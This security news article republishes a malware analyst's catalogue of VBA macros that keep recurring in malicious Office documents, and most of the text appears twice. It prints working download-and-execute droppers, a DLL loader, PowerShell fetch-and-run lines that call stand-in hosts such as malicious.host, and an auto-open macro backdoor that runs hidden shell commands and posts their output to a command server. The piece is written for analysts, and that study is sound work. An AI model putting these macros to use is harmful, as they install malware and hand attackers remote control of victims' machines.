Frequent VBA Macros used in Office Malware

Pierluigi Paganini October 01, 2019

The malware expert Marco Ramilli collected a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in cyber attacks.

Nowadays one of the most frequent cybersecurity threat comes from Malicious (office) document shipped over eMail or Instant Messaging. Some analyzed threats examples include: Step By Step Office Dropper DissectionSpreading CVS Malware over GoogleMicrosoft Powerpoint as Malware DropperMalHIDEInfo Stealing: a New Operation in the WildAdvanced All in Memory CryptoWorm, etc. Many analyses over the past few years taught that attackers love re-used code and they prefer to modify, obfuscate and finally encrypt already known code rather than writing from scratch new “attacking modules”. Here comes the idea to collect a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in contemporary cyber attacks.

Very frequently Office documents such as Microsoft Excel or Microsoft Doc are used as droppers. The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. Obfuscation comes to make the analysis harder and harder, but once you overcome that stage you would probably see a VBA code looking like the following one.

Download And Execute an External Program

Private Sub DownloadAndExecute()
    Dim droppingURL As String
    Dim localPath As String
    Dim WinHttpReq As Object, oStream As Object
    Dim result As Integer
    
    droppingURL = "https://example.com/mal.exe"
    localPath = "c://asd.exe"
    
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
    WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
    WinHttpReq.Open "GET", droppingURL, False ', "username", "password"
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    WinHttpReq.Send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        oStream.SaveToFile localPath, 2  ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
        oStream.Close
        CreateObject("WScript.Shell").Run localPath, 0
    End If    
    
End Sub

The main idea behind this function (or sub-routine) is to invoke ServerXMLHTTP object to download a file from an external resource, to save it on local directory (ADODB.Stream object) and finally to execute it through the object WScript.Shell. You might find variants of this behavior, for example you might find controls over language to target specific countries or specific control on already infected machine, for example by avoiding network traffic if the file is already in the localPath. A possible very common way to add infection control on the same victim is, for example, by adding the following code before the HTTP request.

If Dir(localPath, vbHidden + vbSystem) = "" Then

Another very common way to weaponize Office files is to download and to execute a DLL instead of external file. In such a case we can invoke the exported DLL function directly from the VBA code as follows.

Drop And Execute External DLL

Private Sub DropAndRunDll()
    Dim dll_Loc As String
    dll_Loc = Environ("AppData") & "\Microsoft\Office"
    If Dir(dll_Loc, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    VBA.ChDir dll_Loc
    VBA.ChDrive "C"
    
    'Download DLL
    Dim dll_URL As String
    dll_URL = "https://example.com/mal.dll"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "Saved.asd", 2
        oStream.Close

        ModuleExportedInDLL.Invoke 
    End If
End Sub

Running DLL and External PE is not the only solution to run code on the victim machine, indeed we might use Powershell as well ! A nice way to execute PowerShell without direct access to PowerShell.exe is by using its DLLs, thanks to PowerShdll project this is possible, for example, in the following way

Dropping and Executing PowerShell

Sub RunDLL()
    DownloadDLL
    Dim Str As String
    Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;"
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
End Function


Sub DownloadDLL()
    Dim dll_Local As String
    dll_Local = Environ("TEMP") & "\powershdll.dll"
    If Not Dir(dll_Local, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    Dim dll_URL As String
    #If Win64 Then
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"
    #Else
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll"
    #End If
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile dll_Local
        oStream.Close
    End If
End Sub

Or if you have direct access to PowerShell.exe you might use a simple inline script as the following one. This is quite common in today’s Office droppers as well.

Simple PowerShell Drop and Execute External Program

powershell  (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;

By applying those techniques (http and execute commands) you might decide to run commands on the victim machine such having a backdoor. Actually I did see this code few times related to manual attacks back in 2017. The code below comes from the great work made by sevagas.


Dim serverUrl As String ' Auto generate at startup Sub Workbook_Open() Main End Sub Sub AutoOpen() Main End Sub Private Sub Main() Dim msg As String serverUrl = "<<<TEMPLATE>>>" msg = "<<<TEMPLATE>>>" On Error GoTo byebye msg = PlayCmd(msg) SendResponse msg On Error GoTo 0 byebye: End Sub 'Sen data using http post' 'Note: 'WinHttpRequestOption_SslErrorIgnoreFlags, // 4 ' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx' Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"' Dim objHTTP As Object Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Option(4) = 13056 ' Ignore cert errors because self signed cert objHTTP.Open "POST", URL, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.SetTimeouts 2000, 2000, 2000, 2000 objHTTP.send (data) HttpPostData = objHTTP.responseText End Function ' Returns target ID' Private Function GetId() As String Dim myInfo As String Dim myID As String myID = Environ("COMPUTERNAME") & " " & Environ("OS") GetId = myID End Function 'To send response for command' Private Function SendResponse(cmdOutput) Dim data As String Dim response As String data = "id=" & GetId & "&cmdOutput=" & cmdOutput SendResponse = HttpPostData(serverUrl, data) End Function ' Play and return output any command line Private Function PlayCmd(sCmd As String) As String 'Run a shell command, returning the output as a string' ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility... ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows Dim instruction As String instruction = "cmd.exe /c " & sCmd & " | clip" CreateObject("WScript.Shell").Run instruction, 0, True ' Read the clipboard text using htmlfile object PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text") End Function

You probably will never see those codes like described here, but likely you will find many similarities with the Macros you are/will analyse in your next MalDoc analyses. Just remember that on one hand the attackers love to re-use code but on the other hand they really like to customize it. In your next VBA Macro analysis keep in mind those stereotypes and speed up your analysis.

Nowadays one of the most frequent cybersecurity threat comes from Malicious (office) document shipped over eMail or Instant Messaging. Some analyzed threats examples include: Step By Step Office Dropper DissectionSpreading CVS Malware over GoogleMicrosoft Powerpoint as Malware DropperMalHIDEInfo Stealing: a New Operation in the WildAdvanced All in Memory CryptoWorm, etc. Many analyses over the past few years taught that attackers love re-used code and they prefer to modify, obfuscate and finally encrypt already known code rather than writing from scratch new “attacking modules”. Here comes the idea to collect a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in contemporary cyber attacks.

Very frequently Office documents such as Microsoft Excel or Microsoft Doc are used as droppers. The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. Obfuscation comes to make the analysis harder and harder, but once you overcome that stage you would probably see a VBA code looking like the following one.

Download And Execute an External Program

Private Sub DownloadAndExecute()
    Dim droppingURL As String
    Dim localPath As String
    Dim WinHttpReq As Object, oStream As Object
    Dim result As Integer
    
    droppingURL = "https://example.com/mal.exe"
    localPath = "c://asd.exe"
    
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
    WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
    WinHttpReq.Open "GET", droppingURL, False ', "username", "password"
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    WinHttpReq.Send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        oStream.SaveToFile localPath, 2  ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
        oStream.Close
        CreateObject("WScript.Shell").Run localPath, 0
    End If    
    
End Sub

The main idea behind this function (or sub-routine) is to invoke ServerXMLHTTP object to download a file from an external resource, to save it on local directory (ADODB.Stream object) and finally to execute it through the object WScript.Shell. You might find variants of this behavior, for example you might find controls over language to target specific countries or specific control on already infected machine, for example by avoiding network traffic if the file is already in the localPath. A possible very common way to add infection control on the same victim is, for example, by adding the following code before the HTTP request.

If Dir(localPath, vbHidden + vbSystem) = "" Then

Another very common way to weaponize Office files is to download and to execute a DLL instead of external file. In such a case we can invoke the exported DLL function directly from the VBA code as follows.

Drop And Execute External DLL

Private Sub DropAndRunDll()
    Dim dll_Loc As String
    dll_Loc = Environ("AppData") & "\Microsoft\Office"
    If Dir(dll_Loc, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    VBA.ChDir dll_Loc
    VBA.ChDrive "C"
    
    'Download DLL
    Dim dll_URL As String
    dll_URL = "https://example.com/mal.dll"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "Saved.asd", 2
        oStream.Close

        ModuleExportedInDLL.Invoke 
    End If
End Sub

Running DLL and External PE is not the only solution to run code on the victim machine, indeed we might use Powershell as well ! A nice way to execute PowerShell without direct access to PowerShell.exe is by using its DLLs, thanks to PowerShdll project this is possible, for example, in the following way

Dropping and Executing PowerShell

Sub RunDLL()
    DownloadDLL
    Dim Str As String
    Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;"
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
End Function


Sub DownloadDLL()
    Dim dll_Local As String
    dll_Local = Environ("TEMP") & "\powershdll.dll"
    If Not Dir(dll_Local, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    Dim dll_URL As String
    #If Win64 Then
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"
    #Else
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll"
    #End If
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile dll_Local
        oStream.Close
    End If
End Sub

Or if you have direct access to PowerShell.exe you might use a simple inline script as the following one. This is quite common in today’s Office droppers as well.

Simple PowerShell Drop and Execute External Program

powershell  (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;

By applying those techniques (http and execute commands) you might decide to run commands on the victim machine such having a backdoor. Actually I did see this code few times related to manual attacks back in 2017. The code below comes from the great work made by sevagas.


Dim serverUrl As String ' Auto generate at startup Sub Workbook_Open() Main End Sub Sub AutoOpen() Main End Sub Private Sub Main() Dim msg As String serverUrl = "<<<TEMPLATE>>>" msg = "<<<TEMPLATE>>>" On Error GoTo byebye msg = PlayCmd(msg) SendResponse msg On Error GoTo 0 byebye: End Sub 'Sen data using http post' 'Note: 'WinHttpRequestOption_SslErrorIgnoreFlags, // 4 ' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx' Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"' Dim objHTTP As Object Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Option(4) = 13056 ' Ignore cert errors because self signed cert objHTTP.Open "POST", URL, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.SetTimeouts 2000, 2000, 2000, 2000 objHTTP.send (data) HttpPostData = objHTTP.responseText End Function ' Returns target ID' Private Function GetId() As String Dim myInfo As String Dim myID As String myID = Environ("COMPUTERNAME") & " " & Environ("OS") GetId = myID End Function 'To send response for command' Private Function SendResponse(cmdOutput) Dim data As String Dim response As String data = "id=" & GetId & "&cmdOutput=" & cmdOutput SendResponse = HttpPostData(serverUrl, data) End Function ' Play and return output any command line Private Function PlayCmd(sCmd As String) As String 'Run a shell command, returning the output as a string' ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility... ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows Dim instruction As String instruction = "cmd.exe /c " & sCmd & " | clip" CreateObject("WScript.Shell").Run instruction, 0, True ' Read the clipboard text using htmlfile object PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text") End Function

You probably will never see those codes as described here, but likely you will find many similarities with the Macros you are/will in your next MalDoc analyses. Just remember that on one hand the attackers love to re-use on the other hand they really like to customize it. In your next VBA Macro analysis keep in mind those stereotypes and speed up your analysis.

The original post is available on Marco Ramilli’s blog:

About the author: Marco Ramilli, Founder of Yoroi

I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.

I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans

[adrotate banner=”9″] [adrotate banner=”12″]

Pierluigi Paganini

(SecurityAffairs – VBA macros, Office malware)

[adrotate banner=”5″]

[adrotate banner=”13″]



you might also like

leave a comment